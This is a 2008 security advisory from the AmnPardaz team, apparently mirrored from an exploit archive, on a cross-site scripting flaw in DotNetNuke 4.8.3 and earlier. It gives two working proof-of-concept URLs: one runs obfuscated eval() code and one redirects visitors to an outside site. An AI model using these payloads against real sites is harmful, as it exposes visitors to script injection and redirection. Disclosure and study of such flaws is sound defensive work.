what you don't know can hurt you

dotnetnuke-xss.txt

dotnetnuke-xss.txt
Posted May 30, 2008
Authored by AmnPardaz Security Research Team | Site bugreport.ir

Dot Net Nuke versions 4.8.3 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 904a25b30b16bbaf6000063abbc27ac0

dotnetnuke-xss.txt

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########################## www.BugReport.ir #######################################
#
# AmnPardaz Security Research Team
#
# Title: Dot Net Nuke (DNN) XSS Vulnerability.
# Vendor: www.dotnetnuke.com
# Vulnerable Version: 4.8.3 and prior versions
# Exploit: N/A
# Impact: Low
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/38
###################################################################################

####################
1. Description:
####################
DotNetNuke is an open source web application framework ideal for creating, deploying and managing interactive web, intranet and extranet sites.

####################
2. Vulnerability:
####################
XSS in "Default.aspx", by using "/" after the ".aspx" file. We must use another ".aspx" string, before "?" or at end of the URL.
In fact, "PATH_INFO" in ServerVariables can manipulate by an attacker by entering "/" after the ".aspx" files. So, using "URL" is better than "PATH_INFO".

####################
3. PoC:
####################
- Alert by XSS
http://[DNN URL]/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx

- Redirect by XSS (We must use a "?" because of using ":" in "HTTP://")
http://[DNN URL]/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive';

####################
4. Solution:
####################
Check the vendor hotfix and use URLScan (http://www.microsoft.com/technet/security/tools/urlscan.mspx).

####################
5. Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

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